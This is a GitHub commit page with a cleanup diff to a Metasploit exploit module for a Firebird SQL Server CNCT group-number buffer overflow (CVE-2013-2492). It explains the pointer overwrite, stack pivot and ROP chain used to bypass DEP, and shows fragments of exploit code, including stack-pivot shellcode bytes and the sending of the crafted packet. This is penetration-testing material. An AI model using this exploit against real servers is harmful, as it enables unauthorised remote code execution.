Skip to content

Commit ab44e3e

Browse files
author
jvazquez-r7
committed
cleanup for fb_cnct_group
1 parent 9694907 commit ab44e3e

File tree

1 file changed

+20
-22
lines changed

1 file changed

+20
-22
lines changed

modules/exploits/windows/misc/fb_cnct_group.rb

Lines changed: 20 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -15,24 +15,22 @@ def initialize
1515
super(
1616
'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow',
1717
'Description' => %q{
18-
This module exploits a vulnerability in Firebird SQL Server. A
19-
specially crafted packet can be sent which will overwrite a pointer
20-
allowing the attacker to control where data is read from. Shortly following
21-
the controlled read, the pointer is called resulting in code execution.
22-
23-
The vulnerability exists with a group number is extracted from the CNCT information
24-
which is sent by the client and the size is not properly checked.
25-
26-
This module utilizes an existing call to memcpy just prior to the vulnerable exception
27-
which allows a small amount of data to be written to the stack. A small stackpivot is
28-
used to execute a small ROP chain which provides a larger stack pivot to a larger ROP
29-
chain which ultimately is used to execute VirtualAlloc and bypass DEP.
18+
This module exploits a vulnerability in Firebird SQL Server. A specially
19+
crafted packet can be sent which will overwrite a pointer allowing the attacker to
20+
control where data is read from. Shortly, following the controlled read, the
21+
pointer is called resulting in code execution.
22+
23+
The vulnerability exists with a group number extracted from the CNCT information,
24+
which is sent by the client, and whose size is not properly checked.
25+
26+
This module uses an existing call to memcpy, just prior to the vulnerable code,
27+
which allows a small amount of data to be written to the stack. A two-phases
28+
stackpivot allows to execute the ROP chain which ultimately is used to execute
29+
VirtualAlloc and bypass DEP.
3030
},
31-
'Author' => [
32-
'Spencer McIntyre'
33-
],
34-
'Arch' => [ ARCH_X86 ],
35-
'Platform' => [ 'win' ],
31+
'Author' => 'Spencer McIntyre',
32+
'Arch' => ARCH_X86,
33+
'Platform' => 'win',
3634
'References' =>
3735
[
3836
[ 'CVE', '2013-2492' ]
@@ -43,10 +41,10 @@ def initialize
4341
},
4442
'Payload' =>
4543
{
46-
# mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
47-
'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",
48-
'Space' => 400,
49-
'BadChars' => "\x00\x0a\x0d",
44+
# Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
45+
'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",
46+
'Space' => 400,
47+
'BadChars' => "\x00\x0a\x0d",
5048
},
5149
'Targets' =>
5250
[
@@ -234,7 +232,7 @@ def exploit
234232
evil_data << final_rop_chain
235233
evil_data << payload.encoded
236234

237-
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Connection Request For #{filename}")
235+
print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}")
238236
sock.put(evil_data)
239237

240238
disconnect

0 commit comments

Comments
 (0)